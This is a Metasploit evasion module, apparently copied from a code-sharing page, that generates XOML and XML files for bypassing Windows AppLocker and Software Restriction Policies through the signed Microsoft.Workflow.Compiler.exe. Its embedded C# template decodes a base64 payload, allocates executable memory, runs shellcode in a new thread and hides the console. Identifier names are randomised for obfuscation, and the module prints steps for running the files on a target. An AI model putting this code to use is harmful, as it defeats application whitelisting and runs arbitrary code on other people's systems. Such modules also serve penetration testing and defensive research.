Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Evasion
7

8
  def initialize(info = {})
9
    super(update_info(info,
10
      'Name'        => 'Applocker Evasion - Microsoft Workflow Compiler',
11
      'Description' => %(
12
         This module will assist you in evading Microsoft
13
         Windows Applocker and Software Restriction Policies.
14
         This technique utilises the Microsoft signed binaries
15
         Microsoft.Workflow.Compiler.exe to execute user supplied code.
16
                        ),
17
      'Author'      =>
18
        [
19
          'Nick Tyrer <@NickTyrer>', # module development
20
          'Matt Graeber' # workflow_compiler bypass research
21
        ],
22
      'License'     => 'MSF_LICENSE',
23
      'Platform'    => 'win',
24
      'Arch'        => [ARCH_X86, ARCH_X64],
25
      'Targets'     => [['Microsoft Windows', {}]],
26
      'References'  => [['URL', 'https://posts.specterops.io/arbitrary-unsigned-code-execution-vector-in-microsoft-workflow-compiler-exe-3d9294bc5efb']])
27
    )
28

29
    register_options(
30
      [
31
        OptString.new('XOML_FILE', [true, 'Filename for the .xoml file (default: workflow.xoml)', 'workflow.xoml']),
32
        OptString.new('XML_FILE', [true, 'Filename for the .xml file (default: workflow.xml)', 'workflow.xml'])
33
      ]
34
    )
35

36
    deregister_options('FILENAME')
37
  end
38

39
  def build_payload
40
    Rex::Text.encode_base64(payload.encoded)
41
  end
42

43
  def obfu
44
    Rex::Text.rand_text_alpha 8
45
  end
46

47
  def workflow_xoml
48
    esc = build_payload
49
    mod = [obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu, obfu]
50
    <<~HEREDOC
51
      <SequentialWorkflowActivity x:Class="#{mod[0]}" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/workflow">
52
      <x:Code><![CDATA[
53
      public class #{mod[1]} : SequentialWorkflowActivity
54
      {
55
      public #{mod[1]}()
56
      {
57
      #{mod[2]}();
58
      }
59
      public static void #{mod[2]}()
60
      {
61
      IntPtr #{mod[3]};
62
      #{mod[3]} = GetConsoleWindow();
63
      ShowWindow(#{mod[3]}, #{mod[4]});
64
      string #{mod[5]} = "#{esc}";
65
      byte[] #{mod[6]} = Convert.FromBase64String(#{mod[5]});
66
      byte[] #{mod[7]} = #{mod[6]};
67
      IntPtr #{mod[8]} = VirtualAlloc(IntPtr.Zero, (UIntPtr)#{mod[7]}.Length, #{mod[12]}, #{mod[9]});
68
      System.Runtime.InteropServices.Marshal.Copy(#{mod[7]}, 0, #{mod[8]}, #{mod[7]}.Length);
69
      IntPtr #{mod[10]} = IntPtr.Zero;
70
      WaitForSingleObject(CreateThread(#{mod[10]}, UIntPtr.Zero, #{mod[8]}, #{mod[10]}, 0, ref #{mod[10]}), #{mod[11]});
71
      }
72
      private static Int32 #{mod[12]}=0x1000;
73
      private static IntPtr #{mod[9]}=(IntPtr)0x40;
74
      private static UInt32 #{mod[11]} = 0xFFFFFFFF;
75
      [System.Runtime.InteropServices.DllImport("kernel32")]
76
      private static extern IntPtr VirtualAlloc(IntPtr a, UIntPtr s, Int32 t, IntPtr p);
77
      [System.Runtime.InteropServices.DllImport("kernel32")]
78
      private static extern IntPtr CreateThread(IntPtr att, UIntPtr st, IntPtr sa, IntPtr p, Int32 c, ref IntPtr #{mod[10]});
79
      [System.Runtime.InteropServices.DllImport("kernel32")]
80
      private static extern UInt32 WaitForSingleObject(IntPtr h, UInt32 ms);
81
      [System.Runtime.InteropServices.DllImport("user32.dll")]
82
      static extern bool ShowWindow(IntPtr #{mod[3]}, int nCmdShow);
83
      [System.Runtime.InteropServices.DllImport("Kernel32")]
84
      private static extern IntPtr GetConsoleWindow();
85
      const int #{mod[4]} = 0;
86
      }
87
      ]]></x:Code>
88
      </SequentialWorkflowActivity>
89
    HEREDOC
90
  end
91

92
  def workflow_xml
93
    <<~HEREDOC
94
      <?xml version="1.0" encoding="utf-8"?>
95
      <CompilerInput xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datacontract.org/2004/07/Microsoft.Workflow.Compiler">
96
      <files xmlns:d2p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays">
97
      <d2p1:string>#{datastore['XOML_FILE']}</d2p1:string>
98
      </files>
99
      <parameters xmlns:d2p1="http://schemas.datacontract.org/2004/07/System.Workflow.ComponentModel.Compiler">
100
      <assemblyNames xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
101
      <compilerOptions i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
102
      <coreAssemblyFileName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></coreAssemblyFileName>
103
      <embeddedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
104
      <evidence xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Security.Policy" i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
105
      <generateExecutable xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</generateExecutable>
106
      <generateInMemory xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">true</generateInMemory>
107
      <includeDebugInformation xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</includeDebugInformation>
108
      <linkedResources xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
109
      <mainClass i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
110
      <outputName xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler"></outputName>
111
      <tempFiles i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
112
      <treatWarningsAsErrors xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">false</treatWarningsAsErrors>
113
      <warningLevel xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler">-1</warningLevel>
114
      <win32Resource i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System.CodeDom.Compiler" />
115
      <d2p1:checkTypes>false</d2p1:checkTypes>
116
      <d2p1:compileWithNoCode>false</d2p1:compileWithNoCode>
117
      <d2p1:compilerOptions i:nil="true" />
118
      <d2p1:generateCCU>false</d2p1:generateCCU>
119
      <d2p1:languageToUse>CSharp</d2p1:languageToUse>
120
      <d2p1:libraryPaths xmlns:d3p1="http://schemas.microsoft.com/2003/10/Serialization/Arrays" i:nil="true" />
121
      <d2p1:localAssembly xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.Reflection" i:nil="true" />
122
      <d2p1:mtInfo i:nil="true" />
123
      <d2p1:userCodeCCUs xmlns:d3p1="http://schemas.datacontract.org/2004/07/System.CodeDom" i:nil="true" />
124
      </parameters>
125
      </CompilerInput>
126
    HEREDOC
127
  end
128

129
  def file_format_filename(name = '')
130
    name.empty? ? @fname : @fname = name
131
  end
132

133
  def create_files
134
    f1 = datastore['XOML_FILE'].empty? ? 'workflow.xoml' : datastore['XOML_FILE']
135
    f1 << '.xoml' unless f1.downcase.end_with?('.xoml')
136
    f2 = datastore['XML_FILE'].empty? ? 'workflow.xml' : datastore['XML_FILE']
137
    f2 << '.xml' unless f2.downcase.end_with?('.xml')
138
    xoml_file = workflow_xoml
139
    xml_file = workflow_xml
140
    file_format_filename(f1)
141
    file_create(xoml_file)
142
    file_format_filename(f2)
143
    file_create(xml_file)
144
  end
145

146
  def instructions
147
    print_status "Copy #{datastore['XOML_FILE']} and #{datastore['XML_FILE']} to the target"
148
    if payload.arch.first == ARCH_X86
149
      print_status "Execute using: C:\\Windows\\Microsoft.Net\\Framework\\[.NET Version]\\Microsoft.Workflow.Compiler.exe #{datastore['XML_FILE']} #{Rex::Text.rand_text_alpha 3}"
150
    else
151
      print_status "Execute using: C:\\Windows\\Microsoft.Net\\Framework64\\[.NET Version]\\Microsoft.Workflow.Compiler.exe #{datastore['XML_FILE']} #{Rex::Text.rand_text_alpha 3}"
152
    end
153
  end
154

155
  def run
156
    create_files
157
    instructions
158
  end
159
end
160

161